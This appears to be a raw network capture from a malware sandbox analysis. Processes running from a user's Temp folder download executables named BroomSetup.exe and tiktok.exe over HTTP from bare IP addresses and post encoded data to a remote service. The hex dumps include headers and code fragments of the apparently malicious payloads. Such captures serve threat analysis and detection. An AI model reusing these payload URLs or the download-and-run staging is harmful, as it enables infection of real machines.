Apr 26, 2024 11:06:08.458539009 CEST	1289	IN	Data Raw: 00 cc 0a 32 de db 68 03 5c d7 9a 0f ef b0 e7 c6 b2 54 5e 80 d7 df 8b ec ce 42 f0 54 5a fe fc 02 eb 50 7b b8 40 bb a5 87 16 e1 d3 25 f1 f3 d0 bf ac f8 7b 4a 2e d1 42 f0 9a cc 7c 6e fe 24 14 e7 3d ea fe 36 1b 69 9b 63 f8 63 36 25 8e 5a fd b3 78 eb Data Ascii: 2h\T^BTZP{@%{J.B\|n$=6icc6%Zxn1#]\|D;Scv\f-!jID\$[V=!k%cpOSvu'p.B1z3z+L:4Y7U'g`
Apr 26, 2024 11:06:08.458558083 CEST	1289	IN	Data Raw: 70 ec 91 9e 1a b6 f3 5f 25 dc f4 9b bb ac 07 63 42 0f 8f 1e 65 67 df 33 2d d4 fe c1 55 6c 20 fa 23 42 7c ce 66 ad 52 a3 fe 0a 1a 7e ae 37 c5 8c cc 51 67 6a f7 cd 70 5c d0 66 72 69 6f 08 57 5f 4e 81 f1 e9 c4 eb a2 a5 df f6 cc b5 e7 51 ae 56 b8 25 Data Ascii: p_%cBeg3-Ul #B\|fR~7Qgjp\frioW_NQV%#p&osj}(K^"ea/go6&v3\o{Mh3XqAOsrabEtU_P?a#sn9y3u@(T]hN5NPT#hM
Apr 26, 2024 11:06:08.724395990 CEST	1289	IN	Data Raw: db 4d 87 6f fe 6d d4 ff 76 19 6e e6 d5 95 f5 08 7f 96 68 9f cf a1 4b f3 42 8e 7e c5 60 5d fa 32 76 eb b8 3d e7 fe a6 b5 ef 88 7a 69 90 a1 07 6d 40 ca 4d ad 2f f1 0f 46 61 32 9a 7c 9c bf 64 11 6f b6 a4 1a b0 1d 9d 1d 76 3e e4 76 85 e0 ad ef 6b be Data Ascii: MomvnhKB~`]2v=zim@M/Fa2\|dov>vk3#qLj[G?&e<kl9SA/vS/DMLaNjF[3);<g2<pUyru{){N8gk{>\|=r2WRBL]+=K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49723	185.172.128.228	80	6972	C:\Users\user\AppData\Local\Temp\i1.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:16.561104059 CEST	185	OUT	GET /BroomSetup.exe HTTP/1.1 Host: 185.172.128.228 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.129 Safari/537.36
Apr 26, 2024 11:06:16.800699949 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Fri, 15 Mar 2024 11:59:56 GMT ETag: "4a4030-613b1bf118700" Accept-Ranges: bytes Content-Length: 4866096 Content-Type: application/x-msdos-program Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 84 e1 90 58 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 c4 35 00 00 50 14 00 00 00 00 00 60 d5 35 00 00 10 00 00 00 e0 35 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 4a 00 00 04 00 00 60 c3 4a 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 b0 37 00 9c 4e 00 00 00 d0 3c 00 eb fe 0d 00 00 00 00 00 00 00 00 00 00 18 4a 00 30 28 00 00 00 30 38 00 84 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 38 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 be 37 00 e0 0b 00 00 00 00 38 00 d2 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 85 35 00 00 10 00 00 00 86 35 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 3c 3d 00 00 00 a0 35 00 00 3e 00 00 00 8a 35 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 b0 56 01 00 00 e0 35 00 00 58 01 00 00 c8 35 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 8c 6d 00 00 00 40 37 00 00 00 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 9c 4e 00 00 00 b0 37 00 00 50 00 00 00 20 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 d2 09 00 00 00 00 38 00 00 0a 00 00 00 70 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 40 00 00 00 00 10 38 00 00 00 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 20 38 00 00 02 00 00 00 7a 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 84 9a 04 00 00 30 38 00 00 9c 04 00 00 7c 37 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 eb fe 0d 00 00 d0 3c 00 00 00 0e 00 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 4a 00 00 00 00 00 00 0c 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 03 07 42 6f 6f 6c 65 Data Ascii: MZP@!L!This program must be run under Win32$7PELX5P`55@J`J@7N<J0(08 878.texth55 `.itext<=5>5 `.dataV5X5@.bssm@7 7.idataN7P 7@.didata8p7@.tls@8z7.rdata 8z7@@.reloc08\|7@B.rsrc<<@@JJ@@@Boole
Apr 26, 2024 11:06:16.800743103 CEST	1289	IN	Data Raw: 61 6e 01 00 00 00 00 01 00 00 00 00 10 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 00 34 10 40 00 02 08 41 6e 73 69 43 68 61 72 01 00 00 00 00 ff 00 00 00 02 00 00 00 00 50 10 40 00 09 04 43 68 61 72 03 00 00 00 00 ff ff Data Ascii: an@FalseTrueSystem4@AnsiCharP@Charh@ShortInt@SmallInt@Integer@Byte@Word@Pointer@
Apr 26, 2024 11:06:16.800781965 CEST	1289	IN	Data Raw: 74 72 69 65 73 02 00 02 00 00 00 00 24 15 40 00 0e 07 54 4d 65 74 68 6f 64 08 00 00 00 00 00 00 00 00 02 00 00 00 e4 10 40 00 00 00 00 00 02 04 43 6f 64 65 02 00 e4 10 40 00 04 00 00 00 02 04 44 61 74 61 02 00 02 00 06 00 0b 94 7f 40 00 0c 26 6f Data Ascii: tries$@TMethod@Code@Data@&op_Equality@ @Left @Right@&op_Inequality@ @Left @Right@&op_GreaterThan@ @Left @Right@&o
Apr 26, 2024 11:06:16.800821066 CEST	1289	IN	Data Raw: 73 73 02 00 02 00 3b 00 20 85 40 00 0d 4d 65 74 68 6f 64 41 64 64 72 65 73 73 03 00 e4 10 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 e4 11 40 00 01 00 04 4e 61 6d 65 02 00 02 00 3b 00 a4 85 40 00 0d 4d 65 74 68 6f 64 41 64 64 72 Data Ascii: ss; @MethodAddress@Self@Name;@MethodAddress@Self@NameF@MethodName@Self@Address@@=L~@QualifiedClassName@Self@
Apr 26, 2024 11:06:16.800858974 CEST	1289	IN	Data Raw: 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 50 1f 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 18 1f 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 Data Ascii: ceFSystemP@IEnumerable@System@IDispatch@FSystemD$UD$sD$@@@F@@\ @@<!@\
Apr 26, 2024 11:06:16.800896883 CEST	1289	IN	Data Raw: 40 00 01 00 00 00 00 02 00 3c 24 40 00 14 09 50 56 61 72 41 72 72 61 79 50 24 40 00 02 00 00 00 00 54 24 40 00 0e 09 54 56 61 72 41 72 72 61 79 18 00 00 00 00 00 00 00 00 06 00 00 00 cc 10 40 00 00 00 00 00 02 08 44 69 6d 43 6f 75 6e 74 02 00 cc Data Ascii: @<$@PVarArrayP$@T$@TVarArray@DimCount@Flags@ElementSize@LockCount@Data$@Bounds$@TVarRecord@PRecord@RecI
Apr 26, 2024 11:06:16.800935984 CEST	1289	IN	Data Raw: 41 00 f4 ff 24 2c 40 00 43 00 f4 ff 5a 2c 40 00 43 00 f4 ff a5 2c 40 00 43 00 f4 ff d9 2c 40 00 43 00 f4 ff 3b 2d 40 00 43 00 f4 ff 9d 2d 40 00 43 00 f4 ff ff 2d 40 00 43 00 f4 ff 61 2e 40 00 43 00 f4 ff c3 2e 40 00 43 00 f4 ff 25 2f 40 00 43 00 Data Ascii: A$,@CZ,@C,@C,@C;-@C-@C-@Ca.@C.@C%/@C/@C/@CK0@C0@C1@Cq1@C1@C52@C2@C2@C;3@C~3@C3@C4@CE4@C4@C4@C=5@C5@C5@C
Apr 26, 2024 11:06:16.800972939 CEST	1289	IN	Data Raw: 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 30 e4 40 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 d0 41 40 00 01 00 03 53 72 63 02 00 00 9c 10 Data Ascii: StartIndex@Countb0@CopySelfA@Src@StartIndex'@Dest@Countb@CopySelf'@SrcA@Dest@StartIndex@Countb@Copy
Apr 26, 2024 11:06:16.801009893 CEST	1289	IN	Data Raw: 36 03 00 80 10 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 9c 27 40 00 01 00 03 50 74 72 02 00 00 54 11 40 00 02 00 03 4f 66 73 02 00 02 00 43 00 d4 e8 40 00 09 52 65 61 64 49 6e 74 33 32 03 00 9c 10 40 00 08 00 03 00 00 00 00 00 Data Ascii: 6@Self'@PtrT@OfsC@ReadInt32@Self'@PtrT@OfsC@ReadInt64@Self'@PtrT@OfsA@ReadPtr'@Self'@PtrT@
Apr 26, 2024 11:06:16.801047087 CEST	1289	IN	Data Raw: 00 00 00 00 04 53 65 6c 66 02 00 01 00 00 00 00 01 00 05 56 61 6c 75 65 02 00 02 00 3e 00 78 ea 40 00 11 41 6c 6c 6f 63 53 74 72 69 6e 67 41 73 41 6e 73 69 03 00 9c 27 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 Data Ascii: SelfValue>x@AllocStringAsAnsi'@Self@StrP@AllocStringAsAnsi'@Self@Str@CodePageA@AllocStringAsUnicode'@Self@Str<l@A
Apr 26, 2024 11:06:17.040498972 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 9c 27 40 00 01 00 03 50 74 72 02 00 02 b8 12 40 00 02 00 05 56 61 6c 75 65 02 00 00 9c 10 40 00 0c 00 0f 4d 61 78 43 68 61 72 73 49 6e 63 4e 75 6c 6c 02 00 00 cc 10 40 00 08 00 08 43 6f 64 65 50 61 67 65 Data Ascii: Self'@Ptr@Value@MaxCharsIncNull@CodePages@WriteStringAsAnsiSelf'@PtrT@Ofs@Value@MaxCharsIncNull@WriteStringAsAnsiS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49726	20.157.87.45	80	2848	C:\Users\user\AppData\Local\Temp\u5do.3.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:22.470372915 CEST	266	OUT	POST /__svc/sbv/DownloadManager.ashx HTTP/1.0 Connection: keep-alive Content-Length: 300 Host: svc.iolo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library)
Apr 26, 2024 11:06:22.713491917 CEST	300	OUT	Data Raw: 2f 65 5a 42 73 2b 42 6c 51 46 58 71 30 59 64 4b 4f 31 72 57 47 6f 58 70 79 6d 68 5a 4b 6f 47 4f 76 4a 32 75 58 54 55 46 32 2b 30 66 46 76 61 45 49 51 2b 2f 6c 33 6e 69 78 46 78 62 4d 79 2b 36 32 6f 73 72 64 32 2b 64 57 65 6e 6f 6b 77 76 6c 48 62 Data Ascii: /eZBs+BlQFXq0YdKO1rWGoXpymhZKoGOvJ2uXTUF2+0fFvaEIQ+/l3nixFxbMy+62osrd2+dWenokwvlHbQ3q8eV0Qx+sRVrwIuOdpxbCQ6/gpdrdPc0dPp2yFiTtXpXLFc20MMPt736DHHnFUtB8RByJnUp0u2/VdqgLICfLL1rJJAjFmZqgUei5EZzhfnEiR5dqfQ3Z0YLnFtVOWwMFg4lvwpMiNrtOx5Ld+YvOlUKSq2A7tC
Apr 26, 2024 11:06:23.310688972 CEST	469	IN	HTTP/1.1 200 OK cache-control: private content-length: 256 content-type: text/html; charset=utf-8 x-whom: Ioloweb7 date: Fri, 26 Apr 2024 09:06:23 GMT set-cookie: SERVERID=svc7; path=/ connection: close Data Raw: 31 33 32 62 68 5a 33 4d 56 38 47 36 64 71 53 38 4c 68 46 6d 33 71 59 50 6f 4a 44 73 46 59 47 5a 70 75 54 32 2b 37 36 66 6f 6e 75 4b 30 71 57 64 75 67 30 6b 30 70 75 48 51 4a 2f 66 61 70 67 77 74 64 4f 58 51 72 79 6c 55 6c 2f 68 70 6c 34 34 77 75 67 69 4f 32 2f 4b 6d 7a 6f 53 4c 72 54 45 55 6f 48 62 4d 42 42 67 31 47 54 69 4e 4e 32 63 6d 75 6d 50 77 44 71 31 6d 6a 77 55 37 4e 53 74 5a 6b 6c 61 2b 58 79 47 77 54 6e 78 65 43 69 2b 4e 4d 45 63 47 70 31 32 65 33 6f 70 53 41 39 50 4a 46 62 53 5a 36 38 53 45 41 4c 54 76 7a 4f 7a 30 53 30 42 6a 6f 4c 65 42 30 6a 63 5a 36 45 54 63 6f 77 4e 31 2f 58 32 4b 70 7a 78 31 48 54 4c 69 70 4b 4b 76 30 54 52 58 32 6b 49 67 44 35 52 30 6c 4d 6b 61 4c 6b 6c 6d 7a 6c 6f 54 64 4c 47 7a 35 6c 79 45 65 4a 6e 66 79 53 76 79 4d 66 32 Data Ascii: 132bhZ3MV8G6dqS8LhFm3qYPoJDsFYGZpuT2+76fonuK0qWdug0k0puHQJ/fapgwtdOXQrylUl/hpl44wugiO2/KmzoSLrTEUoHbMBBg1GTiNN2cmumPwDq1mjwU7NStZkla+XyGwTnxeCi+NMEcGp12e3opSA9PJFbSZ68SEALTvzOz0S0BjoLeB0jcZ6ETcowN1/X2Kpzx1HTLipKKv0TRX2kIgD5R0lMkaLklmzloTdLGz5lyEeJnfySvyMf2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49742	20.157.87.45	80	2848	C:\Users\user\AppData\Local\Temp\u5do.3.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:38.952181101 CEST	266	OUT	POST /__svc/sbv/DownloadManager.ashx HTTP/1.0 Connection: keep-alive Content-Length: 300 Host: svc.iolo.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Encoding: identity User-Agent: Mozilla/3.0 (compatible; Indy Library)
Apr 26, 2024 11:06:39.193399906 CEST	300	OUT	Data Raw: 2f 65 5a 42 73 2b 42 6c 51 46 58 71 30 59 64 4b 4f 31 72 57 47 6f 58 70 79 6d 68 5a 4b 6f 47 4f 76 4a 32 75 58 54 55 46 32 2b 30 74 69 53 56 57 6f 48 52 30 44 67 2b 47 4d 38 61 53 79 38 54 4c 32 6f 73 72 64 32 2b 64 57 65 6e 6f 6b 77 76 6c 48 62 Data Ascii: /eZBs+BlQFXq0YdKO1rWGoXpymhZKoGOvJ2uXTUF2+0tiSVWoHR0Dg+GM8aSy8TL2osrd2+dWenokwvlHbQ3q8eV0Qx+sRVrwIuOdpxbCQ6/gpdrdPc0dPp2yFiTtXpXLFc20MMPt736DHHnFUtB8RByJnUp0u2/VdqgLICfLL1rJJAjFmZqgUei5EZzhfnEiR5dqfQ3Z0YLnFtVOWwMFg4lvwpMiNrtOx5Ld+YvOlUKSq2A7tC
Apr 26, 2024 11:06:39.425595999 CEST	405	IN	HTTP/1.1 200 OK cache-control: private content-length: 192 content-type: text/html; charset=utf-8 x-whom: Ioloweb9 date: Fri, 26 Apr 2024 09:06:38 GMT set-cookie: SERVERID=svc9; path=/ connection: close Data Raw: 39 76 37 59 43 62 54 6a 68 53 4f 54 65 7a 71 52 74 42 41 38 44 61 46 35 46 43 52 49 72 4c 62 32 49 6c 78 6c 34 38 6a 4b 61 69 32 6d 65 6d 45 6e 73 33 69 48 76 54 35 4c 2b 48 33 43 49 6c 49 68 4f 6f 33 44 5a 35 33 6d 6c 6a 61 38 4b 42 32 59 45 49 73 2f 6a 31 50 54 39 36 78 49 73 73 61 66 69 37 62 44 69 4d 64 6b 2f 49 41 58 37 55 4a 75 55 59 31 35 61 38 31 67 4d 75 75 46 5a 4c 41 54 67 2b 42 39 62 35 69 4b 57 33 77 6f 49 4f 50 6c 6f 49 59 4a 45 65 78 30 33 62 6f 4c 51 68 4f 49 70 2b 4f 45 77 34 6a 52 4c 48 75 52 75 35 62 44 2b 34 61 49 49 42 63 42 43 43 69 6d 2b 6b 4e 53 Data Ascii: 9v7YCbTjhSOTezqRtBA8DaF5FCRIrLb2Ilxl48jKai2memEns3iHvT5L+H3CIlIhOo3DZ53mlja8KB2YEIs/j1PT96xIssafi7bDiMdk/IAX7UJuUY15a81gMuuFZLATg+B9b5iKW3woIOPloIYJEex03boLQhOIp+OEw4jRLHuRu5bD+4aIIBcBCCim+kNS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49747	185.172.128.203	80	2968	C:\Users\user\AppData\Local\Temp\u5do.0.exe

Timestamp	Bytes transferred	Direction	Data
Apr 26, 2024 11:06:46.149590969 CEST	76	OUT	GET /tiktok.exe HTTP/1.1 Host: 185.172.128.203 Cache-Control: no-cache
Apr 26, 2024 11:06:46.389900923 CEST	1289	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 09:06:46 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 24 Apr 2024 21:15:46 GMT ETag: "85400-616de2c892480" Accept-Ranges: bytes Content-Length: 545792 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 63 08 c4 c7 27 69 aa 94 27 69 aa 94 27 69 aa 94 93 f5 5b 94 37 69 aa 94 93 f5 59 94 a0 69 aa 94 93 f5 58 94 38 69 aa 94 1c 37 a9 95 33 69 aa 94 1c 37 af 95 14 69 aa 94 1c 37 ae 95 05 69 aa 94 2e 11 39 94 22 69 aa 94 27 69 ab 94 7d 69 aa 94 8d 37 a3 95 25 69 aa 94 8d 37 55 94 26 69 aa 94 27 69 3d 94 26 69 aa 94 8d 37 a8 95 26 69 aa 94 52 69 63 68 27 69 aa 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 76 29 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 b0 06 00 00 b4 01 00 00 00 00 00 b6 80 05 00 00 10 00 00 00 c0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 9c 07 00 28 00 00 00 00 f0 07 00 40 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 08 00 6c 80 00 00 b0 80 07 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 81 07 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 06 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 31 af 06 00 00 10 00 00 00 b0 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa e2 00 00 00 c0 06 00 00 e4 00 00 00 b4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 40 20 00 00 00 b0 07 00 00 0e 00 00 00 98 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 66 69 64 73 00 00 f8 01 00 00 00 e0 07 00 00 02 00 00 00 a6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 40 28 00 00 00 f0 07 00 00 2a 00 00 00 a8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 6c 80 00 00 00 20 08 00 00 82 00 00 00 d2 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 60 bc 47 00 e8 ab 56 05 00 68 ff be Data Ascii: MZ@!L!This program cannot be run in DOS mode.$c'i'i'i[7iYiX8i73i7i7i.9"i'i}i7%i7U&i'i=&i7&iRich'iPELv)f@@P(@( lp @.text1 `.rdata@@.data@ @.gfids@@.rsrc@(*@@.relocl @B`GVh
Apr 26, 2024 11:06:46.389962912 CEST	1289	IN	Data Raw: 46 00 e8 1c 73 05 00 59 c3 68 09 bf 46 00 e8 10 73 05 00 59 c3 68 13 bf 46 00 e8 04 73 05 00 59 c3 68 1d bf 46 00 e8 f8 72 05 00 59 c3 b9 a0 bd 47 00 e8 71 56 05 00 68 27 bf 46 00 e8 e2 72 05 00 59 c3 55 8b ec 83 ec 0c a1 6c b0 47 00 33 c5 89 45 Data Ascii: FsYhFsYhFsYhFrYGqVh'FrYUlG3EUEVUNEQWFPfyM3^{k]UVWFPFfEPy^]IpvGEUVFFPyEtj
Apr 26, 2024 11:06:46.390031099 CEST	1289	IN	Data Raw: 3e 00 75 64 6a 18 e8 06 69 05 00 8b f8 83 c4 04 89 7d 08 8b 4d 0c c7 45 fc 00 00 00 00 8b 51 04 85 d2 75 07 b9 a0 76 47 00 eb 0a 8b 4a 18 85 c9 75 03 8d 4a 1c 51 8d 4d ac e8 dc fb ff ff 8d 45 e0 c7 47 04 00 00 00 00 50 c7 07 58 c7 46 00 e8 90 58 Data Ascii: >udji}MEQuvGJuJQMEGPXFXMG>MdY_^]UAPEPX]US]3Vu+W3;uGtAEPPyXGEF;u_^[]
Apr 26, 2024 11:06:46.390068054 CEST	1289	IN	Data Raw: 01 8a 08 40 84 c9 75 f9 2b c2 3b f0 72 e3 5f 5e 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 53 8b dc 83 ec 08 83 e4 f8 83 c4 04 55 8b 6b 04 89 6c 24 04 8b ec 6a ff 68 55 ba 46 00 64 a1 00 00 00 00 50 53 81 ec 80 00 00 00 a1 6c b0 47 00 33 Data Ascii: @u+;r_^]SUkl$jhUFdPSlG3EVWPEd(~GGG0G)88z(\|G G4G`%Z/8G,QWEhGMEE~r>?u3QAu+QjEP
Apr 26, 2024 11:06:46.390104055 CEST	1289	IN	Data Raw: 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d c4 33 d2 e8 33 f8 ff ff c7 45 c4 00 00 00 00 c6 45 fc 0c 8b 4d d4 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 45 d8 85 c0 74 12 f0 0f c1 70 20 4e 75 0a 8b 4d d8 33 d2 e8 f3 Data Ascii: tA uM33EEMt@tjEtp NuM3EEMt@tj(p}GGGG31zG`%Z/GQWEhGMEE~r>?u3
Apr 26, 2024 11:06:46.390151024 CEST	1289	IN	Data Raw: 3b f3 ff ff c7 45 88 00 00 00 00 c6 45 fc 1c 8b 4d 98 85 c9 74 15 8b 01 8b 40 08 ff d0 8b c8 85 c9 74 08 8b 01 6a 01 8b 00 ff d0 8b 4d 9c 85 c9 74 13 8b c6 f0 0f c1 41 20 75 0a 8b 4d 9c 33 d2 e8 fa f2 ff ff c7 45 9c 00 00 00 00 c6 45 fc 1d 8b 4d Data Ascii: ;EEMt@tjMtA uM3EEMt@tjMtA uM3EEMt@tjMtA uM3xEEMt@tjE
Apr 26, 2024 11:06:46.390258074 CEST	1289	IN	Data Raw: 0f 00 00 00 c7 41 10 00 00 00 00 50 c6 01 00 e8 62 05 00 00 e8 cd 32 05 00 83 c4 18 83 7c 24 1c 00 76 57 ff 15 cc c9 47 00 8b 44 24 1c 40 50 6a 02 ff 15 c0 c9 47 00 8b f0 85 f6 74 3d 83 7c 24 20 10 8d 54 24 0c 8b 4c 24 1c 0f 43 54 24 0c 41 51 52 Data Ascii: APb2\|$vWGD$@PjGt=\|$ T$L$CT$AQRVGPGVGVjGVGD$ r@L$Pt$D$ D$D$\|$8D$$D$4CD$$GhG6'@'@#(@(@)@)@
Apr 26, 2024 11:06:46.390661955 CEST	1289	IN	Data Raw: 10 89 7e 10 72 0e 8b 06 5f c6 00 00 8b c6 5e 5b 5d c2 08 00 8b c6 5f 5e 5b c6 00 00 5d c2 08 00 8b c6 85 ff 74 0b 57 53 50 e8 5f 71 05 00 83 c4 0c 83 7e 14 10 89 7e 10 72 0f 8b 06 c6 04 38 00 8b c6 5f 5e 5b 5d c2 08 00 8b c6 c6 04 38 00 5f 8b c6 Data Ascii: ~r_^[]_^[]tWSP_q~~r8_^[]8_^[]hvG>US]VMWC;}+;G;uG99FF~rQj_^[]Qj_^[]9~s$vW
